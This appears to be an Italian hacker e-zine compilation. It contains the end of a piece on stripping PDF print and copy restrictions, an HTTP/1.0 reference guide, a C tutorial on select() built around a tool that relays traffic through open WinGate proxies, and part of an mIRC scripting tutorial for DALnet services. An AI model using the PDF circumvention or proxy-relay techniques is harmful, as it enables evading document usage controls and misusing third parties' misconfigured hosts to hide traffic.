gli utilizzatori del porting di GS per Windows).
Ma voi, cari lettori, non vi saziate mai :-) e quella opzione di sicurezza
vi sta tanto antipatica da volere un nuovo file pdf ma con tutte le opzioni
di sicurezza azzerate. Allora stampiamo ancora, ma questa volta su file :-)
scegliendo in "Printer Setup" pdfwrite come device. Il risultato sarà un
pdf senza alcuna opzione di sicurezza attiva ma non potrete fare estrazione
o ricerca del testo giacchè avete ottenuto il file per stampa su file (se
proprio vi serve il testo potrete sempre estrarlo dall'originale con
GhostView|Edit|Text Excract). Infatti selezionando e copiando il testo
otteremo solo caratteri illegibili.
Abbiamo così anche scoperto un metodo di protezione ;-) contro la selezione
(e copiatura) del testo, ma questa volta più efficace di una semplice
opzione di sicurezza.

->Servizi sul web

Kyler Laird (http://www.ecn.purdue.edu/~laird/PDF/pdf2ps) mette a
disposizione attraverso un CGI un servizio che cambia in un PDF le opzioni
di sicurezza. Egli la definisce "un'utility per sbarazzarsi della assurda e
sciocca opzione che impedisce la stampa". E' la stessa utility di GS
modificata con modulo di sicurezza per PDF. Nel sito si afferma inoltre che
essendo un'utility grezza manca la gestione degli errori, ma io non ho
avuto modo di provarla perchè nel momento in cui scrivo queste righe il
servizio ha temporanei problemi tecnici.
E' da notare che questa utility non cracca il pdf ma estrae i dati
stampabili in postscript per poter ricostruire il PDF. Quindi si cambiano i
permessi e la password del proprietario data la user password. Si può
ottenere così un file identico al precedente che di diverso ha solo i
permessi.
Diverso è invece il servizio della stessa Adobe per la conversione da PDF
in altri formati (html, ascii). Per maggiori informazioni consultare
http://access.adobe.com
Un altro servizio gratuito è http://www.babinszki.com/distiller/ che
trasforma postscript (anche più files zippati) in pdf. Anche questo non
sono riuscito a provarlo per dei loro temporanei malfunzionamenti.

->Conclusione
Di questi pdf, a patto che siano visualizzabili (quindi, senza user
password), nel corso di queste righe siamo riusciti a fare di tutto
(fondamentalmente stampare e copiare i contenuti dove non era possibile).
Spero che questo testo contribuisca ad eliminare la fiducia nella sicurezza
che qualcuno ripone in questo formato.

->Altri link:
Codice sorgente dell'algoritmo RC4 usato per cifrare i file PDF.
ftp://ftp.ox.ac.uk/pub/crypto/misc/rc4.tar.gz
ftp://idea.sec.dsi.unimi.it/pub/crypt/code/rc4.tar.gz

R. Rivest, "The MD5 Message-Digest Algorithm". RFC 1321.
[MD5 è usato nella codifica dei PDF.]

Adobe Systems Inc., _Portable Document Format Reference Manual_,
Version 1.3. March 11, 1999.
http://partners.adobe.com/asn/developer/PDFS/TN/PDFSPEC.PDF
[Updated manual for PDF 1.3.]

Si dice (non ho provato!) che si possa patchare l'Acrobat Reader 3.01 per
stampare qualsiasi PDF (thanx to Kyler B. Laird):
http://www.deja.com/=dnc/getdoc.xp?AN=570210560

==========================================================================================

_________________________________________________________________

RFC 1945 in a few words -aka- HTTP/1.0 very small Reference Guide

by --[ fritz ]--
_________________________________________________________________


-------[ Intro

Questo non vuol essere un documento sostitutivo alla RFC 1945, neanche
un riassunto, chiamiamola solo una "guida di riferimento", con un suntino
del protocollo http con cui il client (browser, netcat, telnet, spider o
chi per esso) comunica col server richiedendo pagine e inviando
dati.
Quindi maggior attenzione sara' data al lato client, che e' quello che
genericamente interessa di piu'.
Lo scrivo perche' innanzitutto serve a me in questo momento, ma
anche sperando che possa servire a qualcun altro, e non sarebbe una
cosa malvagia, credo, se ogni volta che qualcuno si dovesse trovare a fare
dei lavoretti o studi del genere buttasse per iscritto qualche riga da
mettere a disposizione per tutti gli alti.
Ok, detto questo, a mo' di intro, passo al nocciolo.

La comunicazione client-server tra il browser che stiamo utilizzando e il
sito che andiamo a visitare avviene, ovviamente, dopo una richiesta del
client formulata in 2 modi possibili, seguendo questa sintassi:

Simple-Request --> "GET" SP Request-URI CRLF

Full-Request --> Request-Line
*( General-Header
| Request-Header
| Entity-Header )
CRLF
[ Entity-Body ]

La sintassi potrebbe sembrare un po' ostica, ma se si legge l'inizio della
RFC e' spiegato tutto:

-le parti tra parentesi tonda vengono considerati come una unica parte
-le parti tra parentesi quadre sono da considerarsi opzionali
-le parti separate tra il carattere "|" sono da considerarsi elementi di
un'operazione logica di OR, quindi ( a | A ) vale sia "a" che "A"
-il carattere "*" prima di qualsiasi elemento significa indefinite
ripetizioni di quello che viene dopo (da zero a infinito compresi)
Se prima dell'asterisco e' presente un numero, questo rappresenta il
numero minimo di ripetizioni di cio' che segue l'asterisco.
-CRLF significa "carriage return + line feed", brutalmente significa
"enter", "return" o "invio" che dir si voglia :)
-SP significa banalmente spazio, ovvero il carattere " " o %20



----------------------------
Simple-Request
----------------------------

E' il modo piu' semplice di comunicare col server, e serve solo per
inviare richieste di invio informazioni, come potrebbe essere la
richiesta di vedere una pagina html, o un file.
Avviene in una sola riga, e con solo 2 parole, il "GET" e il nome della
pagina da vedere, comprensivo o meno di riferimento relativo (o anche
assoluto), per esempio potrebbe essere:

GET index.html

oppure

GET /pub/misc/RFC/1000-1500/eps/moana.jpg

Per inviare un POST bisogna usare il secondo metodo.



----------------------------
Full-Request
----------------------------

Come gia' visto e' formata da queste parti:

Request-Line
*( General-Header
| Request-Header
| Entity-Header )
CRLF
[ Entity-Body ]

Dopo il chiaramento della sintassi di qualche riga piu' sopra si potrebbe
riscrivere il formato in questo modo umanamente piu' comprensibile:

--------------------------------------------------------------------------
richiesta iniziale
numero a piacere di header appartenenti ai 3 gruppi: General-Header,
Request-Header, Entity-Header
linea vuota
opzionalmente --> Entity-Body
--------------------------------------------------------------------------

Andiamo a vedere ora nello spcifico qual e' la sintassi esatta per queste
righe.



-------[ Request-Line - richiesta iniziale

Il suo formato e' questo:

Request-Line = Method SP Request-URI SP HTTP-Version CRLF

In cui:
-Method sta per GET, HEAD, POST o extension method (di questo pero'
non tratto);
-Request-URI sta per l'indirizzo della pagina che volete vedere o che
state usando per un FORM, quindi anche l'indirizzo di un cgi potrebbe
essere;
-HTTP-Version e' la versione del protocollo, se mettete HTTP/1.0 va
praticamente sempre bene;
-SP come gia' detto indica banalmente uno spazio, e CRLF un "invio".

Quindi un esempio potrebbe essere:

GET index.html HTTP/1.0

oppure ancora

POST /cgi-bin/sms.cgi HTTP/1.0

e giusto per rompere le palle un altro esempio

HEAD http://www.w3.org/pub/WWW/TheProject.html HTTP/1.0



-------[ General-Header

Sono header (qui sto traducendo letteralmente) che possono essere
utilizzati sia nelle richieste che nell'invio di dati.
Un esempio e' l'header DATE, che rappresenta l'ora e la data alla quale la
richiesta e' stata scritta. Oppure l'header Pragma, che serve per
includere istruzioni precise per qualunque programma/demone che sta in
mezzo alla connessione. Meglio di cosi' non riesco a descriverlo :)
Un esempio:

Pragma: no-cache

serve per dire all'applicazione che dovrebbe poi forwardare la richiesta
al server (quindi un eventuale proxy, per esempio) di farlo ugualmente
anche se in cache e' presente una copia di cio' che e' stato richiesto,
quindi utile se non indispensabile nel caso di invio di dati tramite POST



-------[ Request-Header

Servono al client per inviare ulteriori informazioni al server.
Nell'RFC 1945 ne sono illustrati 5:

Authorization --> Authorization: credentials
From --> From: mailbox (es: From: webmaster@w3.org)
[NB: il browser non dovrebbe inviarlo senza previa conferma]
If-Modified-Since --> If-Modified-Since: data
[es: If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT, serve
[per scaricare una pagina con GET solo se e' stata modificato dopo
la data indicata]
Referer --> Referer: web_address
[serve per sapere da quale pagina si e' seguito il link per
arrivare alla pagina corrente ]
User-Agent --> User-Agent: client_information
[contiene informazioni sul nome e la versione del browser
utilizzato]



-------[ Entity-Header

Sono degli header opzionali che contengono informazioni sulle informazioni
inviate dopo i vari header, ovvero l'Entity-Body:

Allow --> Allow: metodo
["metodo" puo' essere GET e HEAD. Non e' permesso usarlo nelle
richieste di tipo POST]
Content-Encoding --> Content-Encoding: content-coding
[per indicare quali tipi di codifica sono ammessi, es:
Content-Encoding: x-gzip]
Content-Length --> Content-Length: 1*DIGIT
[indica la lunghezza del dell'informazione inviato,
Es: Content-Length: 3495
Ricordo che 1*DIGIT significa "almeno una cifra"]
Content-Type --> Content-Type: media-type
[indica il tipo di dati che sono stati inviati al server
es: Content-Type: text/html]
Expires --> Expires: <HTTP-date>
[indica la data dopo la quale l'informazione inviata non e' piu'
valida, es: Expires: Thu, 01 Dec 1994 16:00:00 GMT]
Last-Modified --> Last Modificated: <HTTP-date>
[indica l'ora e la data -traduco letteralmente- alla quale il
client crede che cio' che ha richiesto e' stato modificato per
l'ultima volta]
extension-header --> header personalizzati, o non indicati nel
protocollo ufficiale



-------[ Header addizionali

Oltre a quelli gia' citati e ne sono molti altri addizionali, come per
esempio l'"Accept:" che indica al server una lista di informazioni e
tipologie di dati che sono accettate dal client. Per esempio ci sono:

Accept: text/html, text/plain, application/applefile, application/x-metamail-pat
Accept: image/gif, application/postscript, */*;q=0.01
Accept-Encoding: gzip, compress
Accept-Language: it



-------[ Entity-Body

Rappresenta l'informazione che viene inviata sia dal client sia dal
server. Nel caso del server rappresenta cio' che e' stato richiesto
preventivamente da un GET, nel caso del client potrebbe essere, per
esempio, il contenuto del form che si sta inviando, del bottone premuto,
ecc ecc. La sua presenza, dato che e' opzionale, e' segnalata al server
tramite gli Entity-Header visti sopra, che ne definiscono formato e
codifica, quindi devono essere sempre presenti se si invia qualcosa.

Il form viene inviato secondo una precisa sintassi: una stringa unica
contenente tutti i campi e il valore assegnatogli, separati dal carattere
"&". Per esempio se nella pagina che stiamo visitando c'e' un form di
questo tipo:

-----------
<form action="/cgi-bin/ie.cgi" method="POST">

Campo1
<input type="text" name="text1">

Campo2
<input type="text" name="text2">

<input type="submit" value="Invia">

</form>
-----------

e noi scriviamo "Obluraschi? eddai...." nel Campo1 e
"Puppamelo! ahahah!" nel Campo2, alla pressione del bottone INVIA il
browser mandera' il FORM secondo questa sintassi (privata dei vari header
che spesso non servono)

-------------------------------------------------------
POST /cgi-bin/ie.cgi HTTP/1.0
Content-type: application/x-www-form-urlencoded
Content-length: 56
<riga vuota>
text1=Obluraschi?%20eddai....&text2=Puppamelo!%20ahahah!
<riga vuota>
<riga vuota>
-------------------------------------------------------

Andando ad analizzare la richiesta inoltrata, si vede nella prima riga la
richiesta nel formato "full" e un paio di Entity-Header, uno che definisce
il formato, e un'altro che indica la lunghezza dei dati inviati.
Poi una riga vuota e infine il form compilato, con ogni voce messa accanto
al nome della sua casella separata da un "=", e le voci tra di loro
separate dal carattere "&". Ultima cosa: non si possono usare gli spazi,
quindi vengono convertiti nella sequenza "%20".

Le 7 righe sopra pero' non sono solo un estrapolato dele informazioni
inviate, ma possono anche essere da sole, in quanto contengono tutto il
minimo necessario per eseguire un invio di tipo POST, gli altri header in
questo caso sarebbero superflui.
Quindi se noi le inviassimo tramite telnet o netcat al sito che ci
interessa, simuleremmo l'invio di tali dati tramite browser. Basta solo
scrivere quelle 7 righe in un file, per esempio "in.txt", e poi digitale
al promp:

nc www.host.it 80 < in.txt

In questo modo, per esempio, con qualche riga di script in piu' si puo'
scrivere un client per inviare sms tramite portali come gsmbox.com senza
aprire nemmeno una volta il vostro /lynx/netscape/IE/opera/mosaic ecc ecc



----------------------------
HEAD REQUEST
----------------------------

Per ultima cosa, giusto per dare una parvenza di completezza a questo
articoletto, mancano 2 parole sul metodo HEAD. Infatti il GET serve per
inviare una richiesta per una pagina, una immagine, o cmq un qualsiasi
tipo di informazione, POST serve per inviare dati, e HEAD e' molto simile
a GET, solo che il server non risponde con l'Entity-Body (che per il
server potrebbe essere una pagina html) ma solo con informazioni relative
a questo.



-------------------------------------
GESTIONE DEGLI ERRORI
-------------------------------------

Ultimissima cosa e' la raccolta dei codici di errori, un copy and paste
direttamente dalla RFC:

o 1xx: Informational - Not used, but reserved for future use
o 2xx: Success - The action was successfully received,
understood, and accepted.
o 3xx: Redirection - Further action must be taken in order to
complete the request
o 4xx: Client Error - The request contains bad syntax or cannot
be fulfilled
o 5xx: Server Error - The server failed to fulfill an apparently
valid request

Status-Code = "200" ; OK
| "201" ; Created
| "202" ; Accepted
| "204" ; No Content
| "301" ; Moved Permanently
| "302" ; Moved Temporarily
| "304" ; Not Modified
| "400" ; Bad Request
| "401" ; Unauthorized
| "403" ; Forbidden
| "404" ; Not Found
| "500" ; Internal Server Error
| "501" ; Not Implemented
| "502" ; Bad Gateway
| "503" ; Service Unavailable
| extension-code



----------------------------------------------
Chiusura, riferimenti e saluti
----------------------------------------------

Ok, la piccola guida e' finita, e come ogni altra che si rispetti, ecco un
paio di link che potrebbero risultare utili

http://www.w3.org/
http://www.faqs.org/rfcs/

Per ogni chiarimento, correzione, invito a bere una birra (valido per
entrambi i sessi, ma ovviamente in special modo per LEI :) ), mi
trovare su fritz@spippolatori.com.




--[ fritz ]--
Club SpiPPoLaTorI
www.spippolatori.com

==========================================================================================


Linux, C, socket e (soprattutto) select
---------------------------------------
by -=F14m3r=-®
---------------------------------------

INTRO

Dopo il bell'articolo sui socket di LuRkIn' apparso su netrunners 11 vi
propongo questo piccolo approfondimento.
Di cosa parleremo? Be'... partiremo da una piccola idea che mi e' venuta una
sera per arrivare a parlare di multicasting di socket.

L'IDEA

L'idea e' quella di scrivere un programmino per linux che permetta di redirigere
una connessione. Pero' visto che siamo maliziosi mettiamoci dentro anche un
wingate.
Tutti (spero) conoscete i wingate, e sapete come siano sfruttabili per
redirigere una sessione telnet, vero?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-NOTA BENE-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ah! Prima di andare avanti penso sia meglio specificare una cosa.
NON MANDATEMI MAIL PER CHIEDERE INDIRIZZI DI WINGATE O PER CHIEDERMI DI
SPIEGARVI COME UTILIZZARLI, non e' questo il fine dell'articolo. Non vi
rispondero'.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Ora mi sono detto... ma se voglio usare un wingate per redirigere qualcos'altro?
Ad esempio un client irc, un programma di posta, o qualunque altra cosa vi venga
in mente?

Il problema e' solo all'inizio della connessione (il client deve inviare ip e
porta del server con cui si vuole connettere), dopodiche' la comunicazione puo'
proseguire senza problemi come se si stesse parlando col server richiesto.

Facciamo una prova con telnet per vedere come funziona:

[alex@flam /]$ telnet XXX.XXX.XXX.XXX
WinGate>YYY.YYY.YYY.YYY:25
Connecting to host YYY.YYY.YYY.YYY...Connected
220 X1 NT-ESMTP Server YYY.YYY.YYY.YYY (IMail 5.05 146282-1)
quit
221 Goodbye
Connection terminated by remote host

...chiaro, no?
Ora da quando arriva la stringa "Connected" in poi la comunicazione puo'
tranquillamente proseguire tra client e server come se non ci fosse il wingate
di mezzo.

IL PROGRAMMA

Ora, il punto e' fare un programma che avvii la connessione, e poi si renda
invisibile facendo da tramite tra il client ed il wingate.
Quindi il nostro programma deve:

1) Aprire una comunicazione tra se stesso e il wingate
2) Aprire una porta locale e restare in attesa di connessione
3) Appena qualcuno si connette sulla porta locale inviare i comandi al wingate
4) "Attaccare" tra loro i due socket

Il risultato dei miei sforzi e' il seguente... per ora ve lo butto li' poi
vediamo di studiarci in dettaglio come funziona.


--------------------------8<----- Taglia qui -----8<--------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

#define LISTEN_PORT 3000
#define BUFSIZE 5000

int gate_sock;
int local_sock;

void usage(char *prog)
{
printf(" Wingate redir - usage:\n");
printf(" %s [IP WinGate] [host:port]\n",prog);
}

int connect_wg(char *ip)
{
struct sockaddr_in sa;
char buf[20];
int nrec;

if ((gate_sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
{
perror("socket");
return 0;
}

sa.sin_family=AF_INET;
sa.sin_port=htons(23);
sa.sin_addr.s_addr=inet_addr(ip);
memset(&sa.sin_zero,0,sizeof(sa.sin_zero));

if (connect(gate_sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
perror("connect");
return 0;
}

fprintf(stderr,"Connected. Waiting for wingate prompt...");
do
{
memset(buf,0,sizeof(buf));
nrec = recv(gate_sock,buf,sizeof(buf),0);
}
while (strstr(buf,"WinGate") == NULL);
fprintf(stderr," ok!\n");

return 1;
}

int open_local()
{
int listener;
struct sockaddr_in sa;
int sin_size;

if ((listener=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
{
perror("socket");
return 0;
}

sa.sin_family=AF_INET;
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_port=htons(LISTEN_PORT);
memset(&sa.sin_zero,0,sizeof(sa.sin_zero));

if (bind(listener,(struct sockaddr *)&sa,sizeof(sa)) < 0)
{
perror("bind");
return 0;
}

if (listen(listener,1)<0)
{
perror("listen");
return 0;
}

sin_size = sizeof(sa);
if ((local_sock=accept(listener,(struct sockaddr *)&sa,&sin_size))<0)
{
perror("accept");
return 0;
}

close(listener);

return 1;
}

int redirect(char *addr)
{
fd_set fset;
int max_fd;
char buf[BUFSIZE];

send(gate_sock,addr,strlen(addr),0);
send(gate_sock,"\n",1,0);

fprintf(stderr,"Waiting for connection to be initiated...");
do
{
int nrec;
memset(buf,0,sizeof(buf));
nrec = recv(gate_sock,buf,sizeof(buf),0);
}
while (strstr(buf,"Connected") == NULL);
fprintf(stderr," ok!\n");

max_fd=(local_sock>gate_sock)?local_sock:gate_sock;
max_fd++;

while (1)
{
FD_ZERO(&fset);
FD_SET(local_sock,&fset);
FD_SET(gate_sock,&fset);

if (select(max_fd,&fset,NULL,NULL,NULL)<0)
{
perror("select");
return 0;
}
if (FD_ISSET(local_sock,&fset))
{
int nrec;
nrec=recv(local_sock,buf,sizeof(buf),0);
if (nrec>0)
{
send(gate_sock,buf,nrec,0);
}
}
if (FD_ISSET(gate_sock,&fset))
{
int nrec;
nrec=recv(gate_sock,buf,sizeof(buf),0);
if (nrec>0)
{
send(local_sock,buf,nrec,0);
}
}
}

return 1;
}

int main(int argc, char *argv[])
{
if (argc<3)
{
usage(argv[0]);
return 0;
}
if (!connect_wg(argv[1]))
{
return -1;
}
if (!open_local())
{
return -1;
}
if (!redirect(argv[2]))
{
return -1;
}
return 0;
}
--------------------------8<----- Taglia qui -----8<--------------------------

Da dove cominciamo?
Be'... il mio consiglio quando mettete mano a del codice che non e' il vostro e'
quello di partire sempre dal main (anche se di solito e' in fondo e verrebbe da
guardarlo per ultimo).
Dunque, dateci un'occhiata... e' proprio qui sopra. Non mi sembra molto
complicato.
Riassumendo (e lasciando stare la funzione usage()... se non la capite questo
articolo non fa per voi) vengono chiamate nell'ordine:

connect_wg(argv[1])
open_local()
redirect(argv[2])

Se andate a dare un'occhiata alle prime due scoprirete che non fanno nulla di
speciale.
La prima apre un socket e si connette all'ip dato. Dopodiche' aspetta il prompt
caratteristico dei wingate.
La seconda apre un socket e lo mette in ascolto sulla porta LISTEN_PORT
(definita in cima), e appena arriva una connessione la accetta e chiude il
socket in ascolto.

Se queste due funzioni non sono chiare andatevi a rileggere l'articolo gia'
citato apparso nel numero 11 di netrunners.

Un po' piu' interessante e' la terza.
Subito dopo la parte iniziale, che invia al wingate l'indirizzo con cui ci si
vuole connettere e attende che la connessione sia avviata, sorge un problema.

SOCKET MULTICASTING

Noi abbiamo 2 socket; tutto cio' che leggiamo da uno vogliamo scriverlo
sull'altro, e viceversa.
Il succo e' che dovremmo fare 2 read contemporaneamente.
Un'idea potrebbe essere quella di fare una fork() per creare un altro processo e
sfruttare il kernel multitasking di linux per fare due cose contemporaneamente.
Si'... in questo caso l'idea puo' andar bene.
Pero' c'e' di meglio: la funzione select().

Questa funzione permette di aspettare che uno dei file descriptor selezionati
non cambi di stato.
hmmmm... forse con un esempio si capisce meglio.
Mettiamo di voler programmare un (ehehe) portscanner. Questo apre qualcosa come
10-15 socket, e poi aspetta che qualcuno "cambi di stato", cioe' riceva una
risposta dalla porta (se e' aperta o no), per poterlo riassegnare ad un'altra
porta.
La funzione select serve proprio ad aspettare.

Ok, spero sia chiaro... passiamo ora alla signature della funzione.

int select(int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout);

Vediamo... prende un intero n, tre puntatori ad una cosa strana che si chiama
fd_set, ed un puntatore ad una struttura timeval.

Partiamo dal fondo.

timeval e' una struttura cosi' fatta:

struct timeval {
time_t tv_sec; /* seconds */
suseconds_t tv_usec; /* microseconds */
};

dove sia time_t che suseconds_t sono long int.

Timeout e' quindi il tempo massimo che select deve aspettare prima di ritornare.
Se vi puo' servire saperlo al momento in cui select ritorna timeout vi viene
modificato, in modo da farvi sapere quanto tempo e' effettivamente passato.
Timeout puo' essere zero (ritorna immediatamente) oppure NULL (nessun limite di
tempo... ritorna appena un file descriptor cambia di stato).

Nel nostro caso non abbiamo fretta e l'ho lasciato a NULL.

Passiamo ora a readfds, writefds ed exceptfds.
Sono di tipo puntatori a fd_set.
fd_set e' un insieme di file descriptor. Per poter utilizzare questo tipo avete
a disposizione delle macro molto comode:

FD_ZERO(fd_set * fs) : Svuota l'insieme fs.
FD_SET(int fd, fd_set * fs) : Aggiunge il file descriptor fd all'insieme fs.
FD_CLR(int fd, fd_set * fs) : Toglie il file descriptor fd dall'insieme fs.
FD_ISSET(int fd, fd_set * fs) : Ritorna true se fd sta nell'insieme fs.

Ora che sapete come manipolare il tipo fd_set vediamo a che servono quei
parametri di select.
Il punto e' che se voi volete attendere che un file descriptor sia pronto per
leggere lo inserite nell'insieme readfds, se volete aspettare che sia pronto
per scrivere lo inserite in writefds, e se volete aspettare che generi
un'eccezione lo inserite in exceptfds.
Quando il primo di tutti i file descriptor inseriti in questi insiemi cambiera'
nello stato relativo all'insieme in cui e' inserito select ritornera'.
Se non volete controllare un dato insieme potete inserire NULL come parametro.

NB: Nulla vi vieta di inserire lo stesso file descriptor in tutti e tre gli
insiemi.

Ma guardiamo un attimo il nostro esempio. Lasciate stare per ora il primo
parametro passato alla select.

Noi vogliamo aspettare che uno dei due socket sia pronto per leggere, cioe' che
arrivino dei dati. Quindi riempiamo solo readfds e lasciamo a NULL gli altri
due.

FD_ZERO(&fset);
FD_SET(local_sock,&fset);
FD_SET(gate_sock,&fset);
if (select(max_fd,&fset,NULL,NULL,NULL)<0)
ecc...

...chiaro, no?

La cosa bella di questi insiemi e' che in uscita dalla select ve li ritrovate
pieni solo di quei file descriptor che hanno subito modifiche.
Infatti in seguito per verificare se devo un socket e' effettivamente pronto per
leggere scrivo:

if (FD_ISSET(local_sock,&fset))

Resta solo una cosa: quell'intero.
Cos'e'?
E' uguale al maggiore dei file descriptor in tutti e tre i set, piu' uno
(ricordate che un file descriptor e' comunque un intero).

Nel nostro programma viene calcolato una volta per tutte:

max_fd=(local_sock>gate_sock)?local_sock:gate_sock;
max_fd++;

NOTE FINALI

Questo e' tutto.
Il programma non e' del tutto finito, perche' non si accorge se la connessione
termina da una parte o dall'altra... pero' il succo c'e', se volete completarlo
fate pure, se non ci riuscite scrivetemi che vi daro' una mano.

SpP MeMbeR - SpP MeMbeR - SpP MeMbeR
-=F14m3r=-® *** flamer@freemail.it
SpP MeMbeR - SpP MeMbeR - SpP MeMbeR

==========================================================================================

Creazione di uno script [quarta parte]
--------------------------------------
Darkman
--------------------------------------

Vediamo come creare dei controlli per i vari settaggi del nickserv, chanserv,
memoserv e dei controlli per undernet.
Cominciamo partendo dallo script per Dalnet che appunto utilizza i servizzi di
tipo chanserv, nickserv e memoserv. I comandi che verranno visualizzati quì di
seguito non sono altro che i comandi che si possono avere interrogando i vari
servizzi con l' "HELP" riportati in forma di menu quindi senza avere l'
esigenza di digitarli ma solo di completarne alcune parti (se richieste)
attraverso una semplice finestra dove inserirete i dati richiesti all'
esecuzione del comando.

Creiamo un file e chiamiamolo per esempio Dalnet.mrc ed impostiamo al suo
interno le seguenti stringhe:

menu channel,menubar,nicklist,status {
DALnet Services
.Chanserv
..Info:/ $+ %cs info $$?="Enter a channel:"
..Register:/ $+ %cs register $$?="Enter a channel:" $$?="Enter a password:"
$$?="Enter a description"
..Drop:/ $+%cs drop $$?="Enter a channel:"
..Identify:/ $+ %cs identify $$?="Enter a channel:" $$?="Enter a password"
..Find Access Level:/ $+ %cs access $$?="Enter a channel:" $$?="Enter a nick"
..Find Reason for Opping:/ $+ %cs why $$?="Enter a channel:" $$?="Enter a nick"
..Invite Yourself:/ $+ %cs invite $$?="Enter a channel:"
..Mass Kick:/ $+ %cs mkick $$?="Enter a channel:"
..Get Help:/ $+ %cs help $?="Enter command, leave blank for general help:"
..Settings
...Set Yourself as Founder:/ $+ %cs set $$?="Enter a channel:" founder
...Change Password:/ $+ %cs set $$?="Enter a channel:" passwd $$?="Enter a
password"
...Change Description:/ $+ %cs set $$?="Enter a channel:" desc $$?="Enter a
description"
...Change URL:/ $+ %cs set $$?="Enter a channel:" url $?="Enter channel
homepage/your email addy, or leave blank to clear"
...Mode Lock:/ $+ %cs set $$?="Enter a channel:" mlock $$?="Enter new modes.
Unable to set +ovblk or -ovb. Use * to clear"
...Sticky Topics
....On:/ $+ %cs set $$?="Enter a channel" keeptopic on
....Off:/ $+ %cs set $$?="Enter a channel" keeptopic off
...Topic Lock
....On:/ $+ %cs set $$?="Enter a channel" topiclock on
....Off:/ $+ %cs set $$?="Enter a channel" topiclock off
...Op Guard
....On:/ $+ %cs set $$?="Enter a channel:" keeptopic on
....Off:/ $+ %cs set $$?="Enter a channel:" keeptopic off
...Don't Deop Non-Ops
....On:/ $+ %cs set $$?="Enter a channel:" leaveops on
....Off:/ $+ %cs set $$?="Enter a channel:" leaveops off
..Only allow AOPs/SOPs/Founder
....On:/ $+ %cs set $$?="Enter a channel:" restrict on
....Off:/ $+ %cs set $$?="Enter a channel:" restrict off
...Don't Require Founder Identification
....On:/ $+ %cs set $$?="Enter a channel:" unsecure on
....Off:/ $+ %cs set $$?="Enter a channel:" unsecure off
...Make Ops Identify Before Being Opped
....On:/ $+ %cs set $$?="Enter a channel:" ident on
....Off:/ $+ %cs set $$?="Enter a channel:" ident off
...Disable Info and Invite
....On:/ $+ %cs set $$?="Enter a channel:" private on
....Off:/ $+ %cs set $$?="Enter a channel:" private off
...Change Memo Level
....AOP:/ $+ %cs set $$?="Enter a channel:" memo aop
....SOP:/ $+ %cs set $$?="Enter a channel:" memo sop
....Founder:/ $+ %cs set $$?="Enter a channel" memo founder
....Off:/ $+ %cs set $$?="Enter a channel" memo none
..Out of Order
...List:/echo 4 CS List is currently down
..List Mantenince
...AOP List Mantenince
....Add an AOP:/ $+ %cs aop $$?="Enter a channel:" add $$?="Enter a nick or
addy:"
....Remove an AOP:/ $+ %cs aop $$?="Enter a channel:" del $$?="Enter a nick or
addy:"
....List AOPs:/ $+ %cs aop $$?="Enter a channel:" list
....Clear AOP List:/ $+ %cs aop $$?="Enter a channel:" wipe
....Remove Unregistered AOPs:/ $+ %cs aop $$?="Enter a channel:" clean
...SOP List Mantenince
....Add a SOP:/ $+ %cs sop $$?="Enter a channel:" add $$?="Enter a nick or
addy:"
....Remove a SOP:/ $+ %cs sop $$?="Enter a channel:" del $$?="Enter a nick or
addy:"
....List SOPs:/ $+ %cs sop $$?="Enter a channel:" list
....Clear SOP List:/ $+ %cs sop $$?="Enter a channel:" wipe
....Remove Unregistered SOPs:/ $+ %cs sop $$?="Enter a channel:" clean
...AKICK List Mantenince
....Add an AKICK:/ $+ %cs akick $$?="Enter a channel:" add $$?="Enter a nick or
addy:"
....Remove an AKICK:/ $+ %cs akick $$?="Enter a channel:" del $$?="Enter a nick
or addy:"
....List AKICKs:/ $+ %cs akick $$?="Enter a channel:" list
....Clear AKICK List:/ $+ %cs akick $$?="Enter a channel:" wipe
...Non-List Op Mantenince
....Op:/ $+ %cs op $$?="Enter a channel:" $$?="Enter a nick:"
....Deop:/ $+ %cs deop $$?="Enter a channel:" $$?="Enter a nick:"
....Mass Deop:/ $+ %cs mdeop $$?="Enter a channel:"
...Count AOPs/SOPs/AKICKs:/ $+ %cs count $$?="Enter a channel:"
.Nickserv
..Register:/ $+ %ns register $$?="Enter a password:"
..Drop:/ $+ %ns drop $$?="Enter a nick:"
..Identify:/ $+ %ns identify $$?="Enter a password:"
..Kill:/ $+ %ns recover $$?="Enter a nick:" $?="Enter a password if the nick's
addy isn't in your access list:"
..Kill Enforcer:/ $+ %ns release $$?="Enter a nick:" $?="Enter a password if
the nick's addy isn't in your access list:"
..Kill Ghost:/ $+ %ns ghost $$?="Enter a nick:" $?="Enter a password if the
nick's addy isn't in your access list:"
..Get Access Level:/ $+ %ns acc $$?="Enter a nick:"
..Get ID Number:/ $+ %ns id $$?="Enter a nick:"
..Info:/ $+ %ns info $$?="Enter a nick:"
..Get Help:/ $+ %ns help $?="Enter command, leave blank for general help:"
..Access List Mantenince
...Add an Addy:/ $+ %ns access add $$?="Enter an addy:"
...Remove an Addy:/ $+ %ns access del $$?="Enter an addy:"
...List Access Masks:/ $+ %ns access list
...Clear Access List:/ $+ %ns access wipe
..Settings
...Kill
....On:/ $+ %ns set kill on
....Off:/ $+ %ns set kill off
...Disable Memos
....On:/ $+ %ns set nomemo on
....Off:/ $+ %ns set nomemo off
...Prevent Being Added to AOP/SOP Lists
....On:/ $+ %ns set noop on
....Off:/ $+ %ns set noop off
...Require identification
....On:/ $+ %ns set secure on
....Off:/ $+ %ns set secure off
...URL:/ $+ %ns set url $?="Enter home page/email addy. To clear, leave blank:"
...Change Password:/ $+ %ns set passwd $$?="Enter a password"
.Memoserv
..Send a Memo:/ $+ %ms send $$?="Enter a nick(s), channel, or memo number:"
$$?="Enter your memo"
..Send a Memo to SOPs/Founder:/ $+ %ms send $$?="Enter a channel:" $$?="Enter
your memo"
..List Memos:/ $+ %ms list
